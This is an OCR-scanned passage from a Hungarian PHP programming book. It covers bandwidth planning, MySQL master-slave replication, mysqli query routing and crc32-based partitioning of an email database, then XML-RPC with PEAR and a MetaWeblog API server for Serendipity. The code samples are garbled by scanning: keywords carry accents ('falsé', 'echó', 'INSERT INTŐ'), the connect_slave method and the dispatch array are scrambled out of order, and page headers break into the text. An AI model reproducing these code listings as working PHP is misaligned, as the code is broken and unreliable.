lineárisan nő a teljesítménnyel. A nagyteljesítményű gépek valóban drágák lehetnek. • A bemeneti-kimeneti adattorlódások nehezen (értsd: költséges módszerekkel) előzhetők meg. • A kereskedelmi alkalmazások gyakran processzoronkénti engedélyekhez kötöttek, melyek ára a hardvereszközökhöz hasonlóan nem lineárisan nő a processzorok számával. (Az Oracle például nem engedi meg szabványos kiadásának futtatását olyan gépeken, amelyek négynél több processzort használhatnak.)

Mindennapi gondok a sávszélességgel

A 12. fejezetben láthattuk, hogy ha a kelleténél több sort olvasunk be, a lekérdezések lelassulhatnak, hiszen minden kapott adatot át kell vinnünk a hálózaton az adatbázistól a kérelmet kiadó géphez. Kiterjedt alkalmazásokban ez a terhelés jelentős hatással lehet a hálózat működésére. Tekintsük a következő példát: ha 100 sort kérünk egy oldal elkészítéshez, soraink pedig átlagosan 1 KB méretűek, akkor oldalanként 100 KB adatot kell átvinnünk a helyi hálózaton. Ha ezt az oldalt másodpercenként 100-szor kérik, akkor csak az adatbázisból 100 KB x 100 - 10 MB adatot kell átvinnünk másodpercenként. Figyeljünk, bájtokról van szó, nem bitekről! Ha bitben számolunk, akkor ez 80 Mbps-ot jelent, ami gyakorlatilag teljesen lefoglal egy 100 Mbps-os Ethernet csatolást. A példa persze kissé mesterkélt. Ha kérelmenként ennyi adatot kell átvinnünk, az biztos jele annak, hogy valamit elrontottunk - mindazonáltal ez a példa jól mutatja, miként ké-

418

PHP fejlesztés felsőfokon

pes egy háttérfolyamat jelentős sávszélesség lefoglalására. Ráadásul nem az adatbázis-lekérdezések az egyedüli olyan műveletek, amelyek sávszélességet vesznek el. Vannak itt még más, hagyományosan „nagy fogyasztók" is: • Hálózati fájlrendszerek - A fejlesztők többségének persze nyilvánvaló, hogy kérelmenként 100 KB-ot kiolvasni egy adatbázisból nem valami jó ötlet, de úgy tűnik, sokan megfeledkeznek arról, hogy 100 KB-os fájlokat NFS-en vagy más hálózati fájlrendszeren átszállítani ugyanekkora sávszélesség-felhasználással jár, és így hihetetlen terhelésnek tehetik ki a hálózatot. • Biztonsági másolatok - A biztonsági másolatok különösen alkalmasak a hálózati kapcsolatok lefoglalására. Számítási igényük gyakorlatilag nincs, így hagyományosan hálózati korlátozók. Mindez azt jelenti, hogy egy biztonsági másolatkészítési rendszer könnyedén képes „elbánni" bármekkora rendelkezésre álló sávszélességgel. Nagy rendszerek esetében e gyorsan növekvő sávszélességigény kezelésére elválasztják a nagy fogyasztókat, hogy ne befolyásolják egymás működését. Első lépésként gyakran különböző hálózatokat építenek ki a webes és az adatbázis-forgalom számára. Ez fizikailag több hálózati kártya beépítésével jár. Számos hálózati kapcsoló támogatja logikai hálózatok elkülönítését, vagyis virtuális helyi hálózatok (VLAN-ok) létrehozását. Erre valójában technikailag nincs szükség, de kezelésük hatékonyabb és biztonságosabb. Ezután a webes forgalmunkat az egyik, az adatbázisforgalmat pedig a másik virtuális hálózaton bonyolíthatjuk. Teljességgel belső használatú hálózatok (mint az adatbázis-hálózatok) mindig privát hálózati területet kell használjanak. Számos terheléskiegyenlítő támogatja a hálózati címek fordítását, ami azt jelenti, hogy a webes forgalmunkat megvalósító hálózat privát címterületen működhet, és csak a terheléskiegyenlítő működik nyilvános címeken. Ahogy a rendszerek növekednek, le kell választanunk a költséges feladatokat. Ha van egy hálózati biztonsági másolatkészítő rendszerünk, érdemes az ezt használó gépek számára külön hálózatot kialakítanunk. Bizonyos esetekben szükség lehet arra, hogy Gigabit Ethernet, vagy nyalábolt Ethernet rendszert használjunk. A biztonsági másolatkészítő rendszerek, a nagyforgalmú NFS kiszolgálók és az adatbázisok gyakran válnak sávszélesség-korlátozó tényezővé 100 Mb-es Ethernet hálózatokon. Bizonyos webes rendszerek, így a statikus képszolgáltatók, melyek nagysebességű webkiszolgálókat - mint a Tux vagy a thttpd - futtatnak, valódi korlátozást jelenthetnek Ethernet hálózatokon. Végezetül, ne feledjük, a méretezhetőség biztosításának első lépése, hogy körültekintően járjunk el a költséges feladatok futtatásánál. Alkalmazzunk tartalomtömörítést a webes sávszélesség jobb kihasználása érdekében, ne hagyjuk, hogy lekérdezéseink túl nagyra nőjenek és mindig tároljuk helyi kiszolgálónk állandó adatait gyorstárakban. Ha négy különböző adatbázisról kell biztonsági másolatot készítenünk, ütemezzük úgy a feladatokat, hogy ne fedjék át egymást.

15. fejezet • Elosztott környezet kiépítése

419

E helyzetre kétféle megoldás ismeretes: a többszörözés (replikáció) és az objektumok szétbontása. A többszörözés mester-mester és mester-szolga változatban valósítható meg. Akármit is mondjanak a gyártók termékeik népszerűsítésére, jelenleg nem létezik olyan mester—mester megoldás, ami kifogástalanul megfelelne. Legtöbbjüknek osztott tárolóra van szüksége a működéshez, ami azt jelenti, hogy számíthatunk kimeneti-bemeneti adattorlódásokra. Emellett további terhet jelen, hogy a példányokat összhangban kell tartani (így lehet csak biztosítani a kiolvasott adatok összhangját a frissítések közben). Az osztott tárral nem rendelkező mester-mester sémáknak meg kell birkózniuk a tranzakciók összehangolásával, és kezelniük kell a hálózaton keresztül lebonyolított kétlépéses végrehajtásokat is (nem is beszélve az olvasások közben megtartandó adatépségről). Ezek a megoldások ráadásul általában lassúak is. (A „lassúság" persze viszonylagos fogalom. E rendszerek közül sok igen gyorssá is tehető - ez a sebesség azonban elmarad a kétszer akkora teljesítményű önálló gépekétől, sőt sokszor még az azonos teljesítményűekétől is.) A mester-mester sémákkal a gondok a sok írási műveletet végző alkalmazásoknál jelentkeznek. Ha az adatbázisokat amúgy is lefoglalja az írás, a kétlépéses végrehajtás megbéníthatja a rendszer működését. Ez a módszer a következetesség megőrzése érdekében az alábbi két lépésre bontja a végrehajtás folyamatát: • Az ígéreti szakasz, ahol az adatbázis, melybe az ügyfél ír, ígéretet tesz a végrehajtás elvégzésére minden ügyfelének. • A végrehajtási szakasz, ahol maga a végrehajtás megtörténik. Amint azt kitalálhattuk, ez a folyamat jelentős többletterhet ró minden írási műveletre, ami nagy gondot jelenthet, ha az alkalmazásnak már eleve gondjai vannak az írási műveletek mennyiségével. Ha adatbázis-kiszolgálónk nagymértékben kihasználja a CPU erőforrásait (ami gyakran a helytelen SQL kódolás ékes bizonyítéka), egy fürtözött rendszer teljesítménynövekedést eredményezhet, de a többmesteres fürthasználat általában nem a várt eredményt adja. Ez persze nem azt jelenti, hogy az ilyen rendszereknek nincs létjogosultságuk. Használatuk a magas rendelkezésre állású megoldások esetében nagy segítség lehet. Marad tehát a mester-szolga többszörözés. Itt kevesebb technikai kihívással kell szembenéznünk, mint a mester-mester megoldásnál, és jelentős sebességnövekedést érhetünk el. Nagy különbség a mester—mester és a mester—szolga rendszerek között, hogy az előbbinek globális összhangra van szüksége, vagyis az adatbázis minden adatának tökéletesen összhangban kell lennie a többiekkel. A mester-szolga többszörözés esetében a frissíté-

420

PHP fejlesztés felsőfokon

sek sokszor nem is valós idejűek. így például a frissítések mind a MySQL többszörözésében, mind az Oracle pillanatfelvétel alapú többszörözésében az adatváltoztatásoktól eltérő időben történnek meg. Mindkét esetben lehetőségünk van arra, hogy szigorúan szabályozzuk az elavultság megengedett mértékét, de még az enyhén elavult adatok használatának lehetővé tétele is jelentős terheléscsökkenést eredményezhet. A mester—szolga adatbázisok legjelentősebb korlátozása, hogy el kell választanunk a csak olvasási és az írási műveleteket. A 15.9- ábrán MySQL kiszolgálók egy fürtjét láthatjuk, amely a mester—szolga többszörözésre épül. Az alkalmazás adatokat olvashat a szolgakiszolgálók bármelyikéből, de a többszörözött táblák frissítését a mesterkiszolgálóra kell küldenie.

15.9. ábra A MySQL mester-szolga többszörözésének áttekintése. Mindazonáltal e téren a MySQL mellett más segítségre is számíthatunk. Számos adatbázisban beépített lehetőségeink vannak akár az egész adatbázis, akár egyes táblák többszörö-

15. fejezet • Elosztott környezet kiépítése

421

zésére. Az Oracle-ben például ezt megtehetjük pillanatfelvételek vagy valódi nézettáblák (materialized view)segítségével. Saját relációs adatbázis-kezelőnk lehetőségeiről tájékozódjunk a leírásában, vagy kérdezzük meg adatbázis-felügyelő kollégáinkat. A mester-szolga többszörözés alapja, hogy az írási műveleteket átküldjük, majd alkalmazzuk minden érintett gépen. Olyan alkalmazásokban, amelyek nagy mennyiségű egyidejű olvasási és írási műveletet tartalmaznak, a működés lelassulhat (az olvasott adatok épségének biztosítása miatt). Ezért hát a mester-szolga többszörözés legjobban olyan helyzetekben alkalmazható, amikor az olvasási műveletek adatmennyisége meghaladja az írási műveletekét.

Mester-szolga rendszerekre épülő alkalmazások készítése
A MySQL 4.l-es és későbbi változataiban beépített függvényeket találhatunk, melyek képesek elosztani lekérdezéseinket mester-szolga rendszerekben. Megvalósításuk a MySQL ügyfélkönyvtárainak szintjén történik, ami meglehetősen hatékony eszközzé teszi őket. Ahhoz, hogy használatba vegyük e függvényeket a PHP-ben, az új mysqli bővítményt kell alkalmaznunk, amely megszakítja a visszamenőleges megfelelést a mysql bővítménynek, és nem támogatja a MySQL 4.1 előtti változatait. Ha úgy gondoljuk, a lekérdezések kiosztását teljesen automatikusra is állíthatjuk: $dbh = mysqli_init(); mysqli_real_connect($dbh, $host, $user, $password, $dbname); mysqli_rpl_parse_enable($dbh); // a lekérdezések szokásos előkészítése és végrehajtása Amysql_rpl_parse_enable () függvény arra utasítja az ügyfélkönyvtárakat, hogy automatikusan határozzák meg, hogy a lekérdezés egy szolgához kerüljön, vagy a mester szolgálja ki. Mindazonáltal az automatikus felismerésre nem igazán érdemes hagyatkoznunk. Fejlesztőként sokkal jobb rálátásunk van arra, hogy melyik lekérdezést miként kell kiszolgálni, mint az automatikus módszereknek. A mysqli felület természetesen ez esetben is jó szolgálatot tesz. Amennyiben egyetlen erőforrással dolgozunk, szintén megadhatjuk, hogy egy lekérdezés végrehajtása egy szolgán vagy a mesteren történjen: $dbh = mysqli_init(); mysqli_real_connect($dbh, $host, $user, $password, $dbname); mysqli_slave_query($dbh, $readonly_query); mysqli_master_query($dbh, $write_query);

422

PHP fejlesztés felsőfokon

Persze elrejthetjük ezeket az eljárásokat burkolóosztályokban is. Ha 4. l-esnél régebbi MySQL-t vagy más olyan adatbázis-kezelő rendszert használunk, ami nem támogatja tökéletesen az automatikus lekérdezéselosztást, ezt a felületet a burkolóosztályban is utánozhatjuk: class Mysql_Replicated extends DB_Mysql { protected $slave_dbhost; protected $slave_dbname; protected $slave_dbh; public function ______construct($user, $pass, $dbhost, $dbname, $slave_dbhost, $slave_dbname)
{

$this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname; $this->slave_dbhost = $slave_dbhost; $this->slave_dbname = $slave_dbname;
}

protected function connect_master() { $this->dbh = mysql_connect($this->dbhost, $this->user, $this->pass); mysql_select_db($this->dbname, $this->dbh);
}

protected function connect_slave() { $this->slave_dbh = mysql_connect($this->slave_dbhost, $this->user, mysql_select_db($this->slave_dbname,
}

$this->pass);

$this->slave_dbh); {

protected function _execute($dbh, $query) $ret = mysql_query($query, $dbh) ; if(is_resource($ret)) { return new DB_MysqlStatement($ret);
}

return falsé; } public function master_execute($query) { if(!is_resource($this->dbh)) { $this->connect_master(); } $this->_execute($this->dbh, $query); } public function slave_execute($query) { if(!is_resource($this->slave_dbh)) { $this->connect_slave(); } $this->_execute($this->slave_dbh, $query); } }

15. fejezet • Elosztott környezet kiépítése

423

A lekérdezések automatikus kiosztását az API-ba is beágyazhatjuk, megkísérelve felderíteni, mely leképezések tartalmaznak kizárólag olvasási műveleteket, és melyeket kell a mesterhez irányítani. Mindazonáltal az automatikus kiosztás általában kevésbé alkalmas módszer, mint a „kézi" felderítés. Ha nagy kódot szeretnénk többszörözött adatbázisra átírni, az automatikus szolgáltatások hasznosak lehetnek, de amennyiben időnk és erőforrásaink engedik, jobb, ha a kézi megoldást választjuk.

A többszörözés alternatívái
Amint a fejezet korábbi részében említettük, a mester-szolga többszörözés nem oldja meg minden adatbázis méretezhetőségi gondjait. Sok írási műveletet tartalmazó alkalmazásnál a szolgák használatba vétele ronthat a teljesítményen. Ilyenkor a program olyan sajátosságai után kell néznünk, amiket hatékonyan kihasználhatunk. Ilyen eset lehet például, amikor olyan adatokat találunk, amelyek könnyen részekre bonthatók. Ez gyakorlatilag azt jelenti, hogy egy logikai sémát több fizikai adatbázisra osztunk egy elsődleges kulccsal összekötve. A hatékony részekre bontásnak egyetlen alapszabálya létezik: mindenféleképpen kerüljük az olyan lekérdezések használatát, amelyek egyszerre több adatbázist is elérnek. Az elektronikus levelezőrendszerek nagyszerű példát adnak erre az esetre. A leveleket csak fogadójuk érheti el, így nem kell aggódnunk amiatt, hogy két címzettet össze kellene kapcsolnunk. így hát könnyen szétoszthatjuk a leveleket mondjuk négy adatbázis között: class Email {
public public public /* ... } $recipient; $sender; $body; */

class PartionedEmailDB { public $databases; Most építsük ki a kapcsolatokat az adatbázisokhoz. Itt burkolóosztályokat alkalmazunk, melyekkel elrejthetjük a kapcsolatok részleteit:
public function___ construct () { $this->databases[0] = new DB_Mysql_EmailO ; $this->databases[1] = new DB_Mysql_Emaill; $this->databases[2] = new DB_Mysql_Email2; $this->databases[3 ] = new DB_Mysql_Email3; }

424

PHP fejlesztés felsőfokon

Mind a beillesztésnél, mind a kiolvasásnál kivonatoljuk a fogadó fél azonosítóját annak meghatározásához, hogy melyik adatbázisban találhatjuk meg a hozzá tartozó leveleket. Itt a crc32-t alkalmazzuk, mivel gyorsabb, mint más kriptográfiai hasítófüggvények (md5, shal és így tovább), továbbá azért, mert olyan függvényre van szükségünk, ami a felhasználókat elosztja az adatbázisok között, és nem kell az erősebb egyirányú hasítófüggvények által nyújtott biztonsági szolgáltatásokra építenünk. íme a beillesztési és kiolvasási függvények, amelyek crc32 alapú kivonatoló módszerrel osztják el a terhelést az adatbázisok között: public function insertEmail(Email $email) { $query = "INSERT INTŐ emails (recipient, sender, body) VALUES(:1, : 2, : 3 ) " ; $hash = crc32($email->recipient) % count($this->databases); $this->databases[$hash]->prepare($query)->execute($email->recipient, $email->sender, $email->body);
}

public function retrieveEmails($recipient) { $query = "SELECT * FROM emails WHERE recipient = : 1"; $hash = crc32($email->recipient) % count($this->databases) ; $result = $this->databases[$hash]->prepare($query) ->execute($recipient); while($hr = $result->fetch_assoc) { $retval[] = new Email( $ h r ) ;
} }

A relációs adatbázis-kezelő rendszerek alternatívái
Fejezetünkben a relációs adatbázisokra épülő rendszerekre összpontosítottunk. Nem szabad azonban abba a tévedésbe esnünk, hogy azt higgyük, minden alkalmazás mögött relációs adatbázis-kezelők állnak. Sok esetben a programok nem képesek hatékonyan együttműködni egy ilyen rendszerrel, így inkább saját alkalmazáskiszolgálókat kell használnunk. Vegyünk például egy azonnali üzenetküldő szolgáltatást - ez gyakorlatilag egy sorbaállító rendszert jelent. Működése során a feladók üzenetei egy sorba kerülnek, majd a fogadók egyszerűen kiveszik azokat ebből a sorból. Mindezt modellezhetjük egy relációs adatbázis-kezelővel, de nem ez a leghatékonyabb módszer. Sokkal jobban járunk, ha kifejezetten e feladat megoldására készítünk egy alkalmazáskiszolgálót. Ezt bármilyen nyelven megvalósíthatjuk, és olyan protokollal érintkezhetünk vele, amilyennel csak szeretnénk. A 16. fejezetben bemutatunk néhány webszolgáltatás központú protokollt. Emellett azonban magunk is elkészíthetjük saját protokollunkat, és a PHP sockets bővítménye segítségével alacsony szintű hálózati csatolókon is folytathatunk adatcserét.

15. fejezet • Elosztott környezet kiépítése

425

A PHP alapú alkalmazáskiszolgálók körében érdekes fejlesztés Dériek Rethans SRM projektje. Az SRM gyakorlatilag egy alkalmazáskiszolgáló környezet, amely egy beágyazott PHP értelmező köré épül. Az alkalmazásszolgáltatások PHP-ben készültek, és egy csatolt kommunikációs bővítmény segítségével érintkeznek egymással. Egy maradandó PHP alkalmazáskiszolgáló léte a nyelv rugalmasságára szolgáltat újabb bizonyítékot, ami örömmel tölt el minden programozót, aki valamennyire is ad a kód újrahasznosíthatóságára.

További olvasmányok
Jeremy Zawodny honlapján (http: / / j eremy. zawodny. com/mysql /) számos cikket és előadást találhatunk a MysSQL méretezéséről és a MySQL többszörözésről. A hardveres terheléskiegyenlítőkről számos cég honlapján találhatunk adatokat, köztük az alábbiakon: • • • • • • Alteon — www.alteon. com BiglP-www.f5.com Cisco — www. cisco . com Foundry — www. foundry.com Extrémé Networks - www. extremenetworks . com mod_backhand-www.backhand.com

Az előbbi öt cég a piacvezetők közé tartozik, az LVS és a mod_backhand pedig nagyszerű terheléskiegyenlítő programok. Az SRM-ről bővebben a www.vl-srm.net címen olvashatunk.

RPC: Együttműködés távoli szolgáltatásokkal
A távoli eljáráshívási (RPC) szolgáltatások szabványos felületet biztosítanak függvények, illetve tagfüggvények hálózaton keresztüli hívására. A webprogramozás szinte minden területén használnak RPC-t. A webböngészőktől a webkiszolgálók felé küldött HTTP kérelmek is ilyenek, mint ahogy az adatbázis-kiszolgálóknak küldött lekérdezések is. Nos, ezek valóban távoli hívások, de nem igazán tekinthetők RPC protokollnak. Hiányzik belőlük azok általánossága és szabványossága - így például a webkiszolgálók és az adatbázisok által használt protokollok nem megoszthatók, még akkor sem, ha ugyanazon a hálózati szinten bonyolódnak. Ahhoz, hogy valóban jól használhatóak legyenek, az RPC protokolloknak az alábbi tulajdonságokkal kell rendelkezniük: • Általánosság - Könnyű legyen új, meghívható tagfüggvényekkel kiegészíteni. • Szabványosság - Biztosítani kell, hogy ha ismert egy tagfüggvény neve és paraméterlistája, hívása egyszerűen megvalósítható legyen. • Könnyű értelmezhetőség - Az RPC visszatérési értéke olyan kell legyen, ami könnyen átalakítható az alkalmazások megfelelő saját adattípusaira. Maga a HTTP nem elégíti ki a fentiek egyikét sem, de hihetetlenül kényelmes átviteli réteget biztosít az RPC kérelmek küldésére. A webkiszolgálók széles körben elterjedtek, így ügyes fogás, ha éppen népszerűségükre építünk azzal, hogy a HTTP-t használjuk RPC kérelmeink becsomagolására. Az RPC protokollok közül a legismertebbek az XML-PRPC és a SOAP, melyeket hagyományosan telepítenek a Világhálón - róluk szólunk fejezetünk további részében.

RPC használata nagy forgalmú webhelyeken

Jóllehet az RPC igen rugalmas eszköz, természeténél fogva lassú. Bármely folyamat, amely RPC-ket használ, azonnal szembe találja magát a távoli szolgáltatás elérhetőségének és teljesítményének korlátaival. A legjobb esetben is számíthatunk arra, hogy oldalunk

428

PHP fejlesztés felsőfokon

szolgáltatásának időtartama megduplázódik. Ha pedig bármilyen fennakadás jelentkezik a távoli végpontnál, a teljes webhely várakozásra kényszerülhet. Ez persze nem jelent komoly gondot felügyeleti vagy kis forgalmú szolgáltatásoknál, de az üzleti, illetve nagy forgalmú webhelyeknél elfogadhatatlan. A megoldás a késleltetés és az elérhetőség akadozásának elkerülésére egy olyan gyorstárstratégia, amely megszünteti a közvetlen függést a távoli szolgáltatástól. Az RPC hívásokhoz könnyen alkalmazható gyorstármódszerekről a 1. és a 11. fejezetben már olvashattunk.

XML-RPC
Az XML-RPC minden XML alapú RPC protokoll őse. Alkalmazói leggyakrabban HTTP POST kérelmekbe és válaszokba ágyazzák be, de - mint azt a 15. fejezetben bemutattuk erre a beágyazásra nincs feltétlenül szükség. Az egyszerű XML-RPC kérelmek olyan XML dokumentumok, melyek az alábbihoz hasonlóan festenek: <?xml version="l.0" encoding="UTF-8"?> <methodCall> <methodName>system.load</methodName> <params> </params> </methodCall> Ezt a kérelmet a POST módszerrel elküldhetjük az XML-RPC kiszolgálónak, amely megkeresi és végrehajtja a megadott tagfüggvényt (system. load), átadva a paramétereket (ez esetben nem adtunk meg egyetlen paramétert sem). Az eredmény végül visszakerül a hívó félhez. Jelen esetben ez a gép aktuális terhelése, melyet a Unix uptime nevű héjparancsától kaptunk meg. íme egy lehetséges kimenet: <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <string>0.34</string> </value> </param> </params> </methodResponse> Természetesen ezeket a dokumentumokat nem magunknak kell elkészítenünk és értelmeznünk. Számos XML-RPC megvalósítás létezik PHP alatt. Jómagam a PEAR XML-RPC osztályokat kedvelem, mert ezekhez hozzájutunk a PHP-vel (a PEAR telepítő használja

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

429

őket). Következésképpen gyakorlatilag minden rendszeren jelen vannak - így nincs is igazán okunk, hogy mást keressünk. Az XML-RPC párbeszéd két részből áll: az ügyfél kérelméből és a kiszolgáló válaszából. Beszéljünk előbb az ügyfél kódjáról. Az ügyfél készít egy kérelem dokumentumot, elküldi a kiszolgálónak, majd értelmezi a kapott választ. Az alábbi kód a korábbiakban látott kérelmet készíti el, és értelmezi az erre kapott választ: require_once 'XML/RPC.php';

$client = new XML_RPC_Client('/xmlrpc.php', 'www.example.com'); $msg = new XML_RPC_Message('system.load1); $result = $client->send($msg); if ($result->faultCode()) { echó "Error\n";
}

print XML_RPC_decode($result->value()); Létrehozunk egy új XML_RPC_Client objektumot, megadva számára a távoli szolgáltatás URI-jét és címét. Ezután készítünk egy XML_RPC_Message objektumot, amely tartalmazza a meghívni kívánt tagfüggvény nevét (system. load). Mivel a tagfüggvénynek nem adunk meg paramétereket, további adatok átadására nincs szükség. Ezután elküldjük az üzenetet a send () tagfüggvénnyel. Az eredményt előbb megvizsgáljuk, és ha nem találunk hibát, az XML formátumból a PHP saját változótípusára alakítjuk az XML_RPC_Decode () segítségével. Természetesen a kiszolgáló oldalán is szükség van némi kódra, ami fogadja a kérelmet, megtalálja és végrehajtja a megfelelő visszahívható függvényt, majd visszaküldi a választ, íme egy lehetséges megoldás, amely kezeli az ügyfél kódjában megadott system. load tagfüggvényt: require_once 'XML/RPC/Server.php'; function system_load()
{

$uptime = "uptime";
if(preg_match("/load average: ([\d.]+)/", $uptime, $matches)) { return new XML_RPC_Response( new XML_RPC_Value($matches[1] , 'string')); } }

430

PHP fejlesztés felsőfokon

=> array('function' => 'system_uptime')); new XML_RPC_Server($dispatches, 1 ); A PHP függvények megbirkóznak a korábban meghatározott beérkező kérelmekkel. Magunknak mindössze a system. load kérelemmel kell foglalkoznunk, melynek a system. load () tagfüggvény hívása felel meg. Ez a Unix uptime parancsát hajtja végre, és az eredményből kiolvassa a gép egyperces átlagos terhelését. Ezután a kapott adatot becsomagolja egy XML_RPC_Value objektumba, majd a visszaküldéshez beburkolja egy XML_RPC_Response objektumba. Ezután a visszahívható (callback) függvény rákerül egy kiosztási térképre, amely meghatározza, mely függvényekhez rendelje a kiszolgáló az egyes bejövő kérelmeket. A meghívandó függvényekből készítünk egy $dispatches tömböt, amely XML-RPC tagfüggvényneveket képez le PHP függvényekre. Végezetül létrehozunk egy XML_RPC_Server objektumot, és átadjuk neki az előzőleg készített kiosztási tömböt. A második paraméter 1 értéke azt jelzi, hogy a kérelmet azonnal ki kell szolgálni a service () tagfüggvénnyel (ez egy belső hívás). A service () megvizsgálja a HTTP POST nyers adatait, megkeresi az XML-RPC kérelmet, majd a kiosztás alapján elvégzi a függvényhívást. Mivel a tagfüggvény a PHP $HTTP_RAW_POST_DATA autoglobálisra hivatkozik, semmiképpen sem szabad kikapcsolnunk a php. ini fájl always_populate_raw_post_data beállítását. Ha ezek után elhelyezzük a kiszolgálókódot a www. example. com/xmlrpc .php címen, és egy tetszőleges gépen futtatjuk az ügyfélkódot, az alábbiakat kapjuk vissza: > php system_load.php 0.34 Vagy valami hasonlót, a terhelésátlagtól függően.

$dispatches = array('system.load'

Egy kiszolgáló felépítése: a MetaWeblog API megvalósítása
Az XML-RPC igazi erőssége, hogy szabványos módot ad a szolgáltatások közti adatcserére. Ez különösen akkor hasznos, ha nem tudjuk ellenőrizni a kérelem útjának mindkét oldalát. Az XML-RPC-vel könnyen módot adhatunk arra, hogy bárki érintkezhessen a szolgáltatással. Jó példát adnak erre a webnaplóküldési API-k. Számos webnaplózó rendszer létezik, és rengeteg olyan eszköz, melyek segítenek a használatukban és a bejegyzések küldésében. Ha nem volnának szabványos eljárások, a széleskörű felhasználhatóság érdekében minden eszköznek támogatnia kellene minden webnaplót, vagy fordítva. Az ilyen kapcsolatrendszer megtartása lehetetlen, ha a benne részt vevő alkalmazások száma növekszik.

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

431

Jóllehet a webnaplók lehetőségei és megvalósításai változatosak lehetnek, lehetséges olyan szabványos műveletcsalád meghatározása, melyek a bejegyzések küldését végzik. A webnaplóknak és az eszközöknek ezek után csak a megfelelő felületet kell megvalósítaniuk, és így mindenki mindenkivel együttműködhet. Dacára a webnaplózó rendszerek nagy számának, mindössze három webnaplóküldési API terjedt el széles körben: a Blogger API, a MetaWeblog API, valamint a MovableType API (ami valójában mindössze a MetaWeblog API bővítése). A bejegyzésküldő eszközök e három protokoll valamelyikét használják az adatátvitelhez, így ha mindegyiküket megvalósítjuk, webnaplónk képes lesz fogadni bármely eszköz bejegyzéseit. Mindez nagyszerű lehetőség arra, hogy egy új webnaplózó rendszert elfogadottá tegyünk. Természetesen először egy webnaplózó rendszerre van szükség, melyhez ezek az API-k kapcsolódhatnak. Egy teljes webnaplózó rendszer felépítése meghaladná könyvünk kereteit, így hát megelégszünk azzal, hogy egy XML-RPC réteget adunk a Serendipity webnaplóhoz. A szóban forgó API-k a bejegyzések küldését intézik, így a Serendipity alábbi eljárásaival kell érintkezniük:

function serendipity_updertEntry($entry) {} function serendipity_fetchEntry($key, $match)

{}

A serendipity_updertEntry () frissít egy bejegyzést, vagy beszúr egy újat, attól függően, hogy megadtuk-e számára az id változó értékét. A $entry valójában egy tömb, amely az alábbi adatbázistábla egy általános sorának felel meg (vagyis elemei az oszlopokat adják): CREATE TABLE serendipity_entries ( id INT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(2 00) DEFAULT NULL, timestamp INT(10) DEFAULT NULL, body TEXT, author VARCHAR(20) DEFAULT NULL, isdraft INT ); A serendipity_f etchEntry () kiolvas egy bejegyzést a táblából a megadott kulcs-érték pár alapján. A MetaWeblog API több lehetőséget biztosít, mint a Blogger API, így előbbi megvalósítására teszünk kísérletet. Tagfüggvényei közül az alábbi három fontosabbat kell megemlítenünk:

metaWeblog.newPost(blogid,username,password,item_struct,publish) returns string metaWeblog.editPost(postid,username,password,item_struct,publish) returns true metaWeblog.getPost(postid,username,password) returns item_struct

432

PHP fejlesztés felsőfokon

A blogid a megcélzott webnapló azonosítója (ami jól jön, ha a rendszer több webnaplót is fenntart), a username és a password a küldő azonosítására szolgál, a publish pedig egy jelző, amely megmondja, hogy a küldött bejegyzés csak vázlat-e, vagy egyenesen mehet a naplóba. Az item_struct a küldött adatok tömbje. Ahelyett, hogy saját formátumot választott volna az adatbevitelhez, Dave Winer, a MetaWeblog leírásának szerzője az RSS 2.0 leírás item elemének meghatározását választotta (ezt megtalálhatjuk a http: //blogs. law.harvard.edu/tech/rss címen). Az RSS egy szabványosított XML formátum cikkek és naplóbejegyzések közlésére. Az item bejegyzése az alábbi elemeket tartalmazza:

A szabvány emellett lehetővé teszi egyéb mezők használatát is - hivatkozásokat megjegyzésekre, egyértelmű azonosítókat, valamint kategóriákat. Mindemellett számos webnapló kibővíti az RSS szabványt, úgy, hogy az tartalmazza a content: encoded elemet is, ami a teljes küldeményt tárolja, nem csak annak összefoglalóját, melyet hagyományosan az RSS description elemében találhatunk meg. A MetaWeblog API megvalósításához a korábban említett három tagfüggvénnyel kell foglalkoznunk. Először nézzük, hogyan küldhetünk új bejegyzéseket: function metaWeblog_newPost($message) { $username = $message->params[1]->getval() ; $password = $message->params[2]->getval() ; if(!serendípity_authenticate_author($username, $password)) return new XML_RPC_Response('', 4, 'Authentication Fa i l ed' );
}

{

$item_struct = $message->params[3]->getval(); $publish = $message->params[4]->getval() ; $entry['title'] = $item_struct['title'] ; $entry['body'] = $item_struct['description']; $entry['author' ] = $username; $entry['isdraft' ] = ($publish == 0)?'true' : ' falsé';

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

433

$id = serendipity_updertEntry($entry); return new XML_RPC_Response( new XML_RPC_Value($i d,
}

's t r i n g ' ) ) ;

A metaWeblog_newPost () kinyeri a kérelemből a username és a password paramétereket, majd kicsomagolja XML alakjukat PHP típusokba a getval () tagfüggvénnyel. A függvény ezután hitelesíti a megadott felhasználót. Amennyiben ez nem sikerül, visszaküld egy üres XML_RPC_Response objektumot egy „Authentication Failed" (Sikertelen hitelesítés) hibaüzenettel. Ha a hitelesítés sikeres, a metaWeblog_Post () beolvassa az item_struct paramétert, és a getval () segítségével kicsomagolja a $item_struct tömbbe. Ebből elkészíti a Serendipity $entry paraméterét, melyet átad a serendipity_updertEntry () tagfüggvényének. Végül a hívó egy XML_RPC_Response objektumot kap az új bejegyzés azonosítójával. A MetaWeblog. editPost háttérkódja igencsak hasonló a MetaWeblog. newPost tagfüggvénynél látottakhoz: function metaWeblog_editPost($message) { $postid = $message->params[0 ]->getval(); $username = $message->params[1]->getval(); $password = $message->params[2]->getval(); if(!serendipity_authenticate_author($username, $password)) { return new XML_RPC_Response('', 4, 'Authentication F a i l e d ' ) ;
}

$item_struct = $message->params[3]->getval(); $publish = $message->params[4]->getval(); $entry['title'] = $item_struct['title']; $entry['body'] = $item_struct['description1] ; $entry['author'] = $username; $ e n t r y[ ' i d ' ] = $postid; $entry['isdraft'] = ($publish == 0)?'true' : ' falsé'; $id = serendipity_updertEntry($entry); return new XML_RPC_Response( new XML_RPC_Value($id?true: falsé, 'boolean'));
}

